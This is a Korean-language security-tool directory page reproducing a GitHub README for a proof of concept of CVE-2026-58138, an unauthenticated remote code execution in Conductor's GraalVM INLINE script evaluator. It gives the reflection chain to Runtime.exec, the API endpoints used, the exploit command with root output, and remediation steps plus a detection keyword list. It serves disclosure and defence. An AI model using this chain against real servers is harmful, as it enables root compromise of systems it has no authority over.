Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-58138 — CVE-2026-58138 — Conductor(3.21.21..<3.30.2) INLINE GraalVM 평가기(HostAccess.ALL)를 통한 인증되지 않은 RCE. Lab + PoC, e2e(루트) 검증 완료. | Kitploit
도구/GitHubGitHub/ch4120n/cve-2026-58138
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHubch4120n/cve-2026-58138

CVE-2026-58138

CVE-2026-58138 — Conductor(3.21.21..<3.30.2) INLINE GraalVM 평가기(HostAccess.ALL)를 통한 인증되지 않은 RCE. Lab + PoC, e2e(루트) 검증 완료.

저장소 보기
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-58138 — GraalVM 평가기를 통한 Conductor 인증되지 않은 RCE

CVE CVSS Status Auth

TL;DR: Orkes/OSS Conductor (버전 3.21.21 ~ < 3.30.2)는 INLINE 작업에서 사용자 제공 JavaScript를 GraalVM 컨텍스트로 전체 호스트 액세스(HostAccess.ALL)를 허용하여 평가합니다. 커뮤니티 API는 기본적으로 인증이 없기 때문에 인증되지 않은 사용자가 악성 워크플로를 제출하고, 바인딩된 JavaScript 객체에서 java.lang.Runtime으로 피벗하여 Conductor 프로세스 사용자(종종 root)로 **인증되지 않은 원격 코드 실행(RCE)**을 달성할 수 있습니다.


목차

  1. 취약점 개요
  2. 근본 원인
  3. 익스플로잇 흐름
  4. 빠른 시작 및 재현
  5. 영향
  6. 조치
  7. 탐지
  8. 크레딧 및 면책

취약점 개요

버전 참고: 버전 ~3.29.x까지는 일반 allowHostAccess(HostAccess.ALL) 구성을 사용하며, 이 PoC가 직접 익스플로잇합니다. 버전 3.30.0 및 3.30.1에서는 부분적인 차단 목록(일부 리플렉션 차단)이 도입되었지만, 완전한 수정(allowHostClassLoading(false) + 엔진 강화)은 3.30.2 에서만 구현되었습니다. 이 PoC는 샌드박스가 없는 구성을 대상으로 합니다.


근본 원인

이 취약점은 Conductor가 스크립트 평가를 위해 GraalVM 폴리글롯 컨텍스트를 구성하는 방식에 존재합니다.

core/.../events/ScriptEvaluator.java (≤ 3.29.x)에서 컨텍스트는 다음과 같이 생성됩니다:

root@kitploit:~
return Context.newBuilder("js")
        .allowHostAccess(HostAccess.ALL)   // 위험: 전체 호스트 상호운용, 샌드박스 없음
        .build();

이것이 게임 오버인 이유:

  1. HostAccess.ALL은 JavaScript 엔진이 Java 호스트 객체의 모든 메서드를 호출하거나 모든 필드에 접근할 수 있는 권한을 부여합니다.
  2. INLINE 작업은 입력 매개변수를 JavaScript 변수 $에 바인딩하며, 이는 실제 Java 객체입니다.
  3. 공격자는 $에서 시작하여 Java 리플렉션을 연결할 수 있습니다: $.getClass().getClass() ➔ java.lang.Class ➔ Class.forName("java.lang.Runtime") ➔ Runtime.getRuntime().exec("sh -c <command>").
  4. 동일한 결함이 Python 평가기(Context.newBuilder("python").allowAllAccess(true))에도 존재합니다.

익스플로잇 흐름

공격은 인증이 전혀 필요하지 않으며 세 가지 간단한 단계를 따릅니다:

  1. 등록: 악성 워크플로 정의와 함께 POST 요청을 /api/metadata/workflow로 보냅니다. INLINE 작업은 expression 필드에 리플렉션 JavaScript 페이로드를 포함합니다.
  2. 실행: POST 요청을 /api/workflow/{workflow_name}으로 보내 워크플로를 트리거합니다.
  3. 추출: GraalVM 엔진이 페이로드를 실행합니다. 리플렉션 Runtime.exec가 OS 명령을 실행하고, PoC는 stdout을 교묘하게 포착하여 작업의 result 출력으로 반환하며, 이는 API를 통해 가져옵니다.

빠른 시작 및 재현

1. 취약한 실습 환경 실행

Docker를 사용하여 취약한 Conductor 버전의 로컬 인스턴스를 시작합니다.

root@kitploit:~
# 저장소를 클론하고 실습 환경 시작
docker compose -f docker/docker-lab.yml up -d

# 올인원 서버가 완전히 부팅될 때까지 약 60초 대기

2. PoC 실행

제공된 Python 익스플로잇 스크립트를 실행합니다. Python 표준 라이브러리만 사용합니다 (외부 종속성 불필요).

root@kitploit:~
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname; whoami"

3. 예상 출력

root@kitploit:~
[*] Target: http://127.0.0.1:8080
[*] Command: 'id; hostname; whoami'
[*] Registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] Starting workflow execution ... (no auth)
[*] Started workflow id=pwn_1705432100; reading INLINE task output ...

[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+deb13-amd64

참고: uid=0(root) 출력은 조작된 응답이 아닌 호스트에서 실제 실행되었음을 증명합니다.


영향

성공적인 익스플로잇은 공격자에게 Conductor 오케스트레이터 호스트에서 임의의 OS 명령 실행을 허용합니다.

Conductor는 종종 인프라를 관리하기 위해 상승된 권한으로 배포되므로, 일반적으로 다음이 발생합니다:

  • 워크플로 엔진의 완전한 손상.
  • 기본 지속성 계층(Redis, PostgreSQL, Elasticsearch)에 대한 액세스.
  • 워크플로에 의해 트리거되는 저장된 자격 증명 또는 다운스트림 시스템을 통한 측면 이동.

조치

  1. 즉시 업그레이드: Conductor ≥ 3.30.2 로 업데이트하십시오. 이 버전에서는 JS 및 Python 평가기가 더 이상 호스트 액세스 또는 클래스 로딩을 활성화한 상태로 실행되지 않습니다.
  2. 심층 방어:
    • Conductor API 앞에 인증 게이트웨이(예: OAuth2, API 키)를 배치하십시오.
    • Conductor 서버 프로세스를 비-root, 최소 권한 사용자로 실행하십시오.
    • 워크플로를 등록하거나 실행할 수 있는 사람을 제한하기 위해 엄격한 네트워크 세분화를 구현하십시오.

탐지

환경에서 다음과 같은 침해 지표(IoC)를 모니터링하십시오:

  • 워크플로 정의: 다음을 참조하는 expression 문자열이 포함된 INLINE, LAMBDA, DO_WHILE 또는 SWITCH 작업을 플래그하십시오:
    • getClass, forName, Runtime, exec, ProcessBuilder
    • java.lang.reflect 또는 일반 java. 패키지 액세스
  • 호스트 수준 알림: Conductor JVM 프로세스에서 예기치 않게 셸 인터프리터(sh, bash, cmd.exe)를 생성하거나 아웃바운드 네트워크 연결을 수행하는지 모니터링하십시오.

리플렉션 체인, 버전별 평가기 구성 및 패치 분석에 대한 자세한 내용은 ANALYSIS.md를 참조하십시오.


크레딧 및 면책

  • 저장소 유지 관리: Ch4120N
  • PoC 개선: (Ch4120N/CVE-2026-58138)
  • 권고 참조: Orkes Conductor unauth RCE via GraalVM script evaluators

면책: 이 저장소는 방어적, 교육적 및 승인된 보안 테스트 목적으로만 사용하기 위한 독립적이고 재현 가능한 실습 환경 및 개념 증명(PoC)을 포함합니다. 소유하지 않거나 명시적인 서면 허가 없이 시스템에 대해 이 코드를 사용하지 마십시오. 저자는 오용에 대해 책임을 지지 않습니다.

도구 다운로드
속성세부 정보
CVE 식별자CVE-2026-58138
영향받는 소프트웨어Conductor 3.21.21 ~ 3.30.1
수정 버전3.30.2 (커밋: 87a7d96, c691e35)
취약점 클래스CWE-94: 코드 삽입 (GraalVM 폴리글롯 샌드박스 우회)
CVSS v3.1 점수9.8 (치명적) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
인증없음 (커뮤니티 API는 기본적으로 인증되지 않음)
검증conductoross/conductor:3.22.3에서 root로 확인됨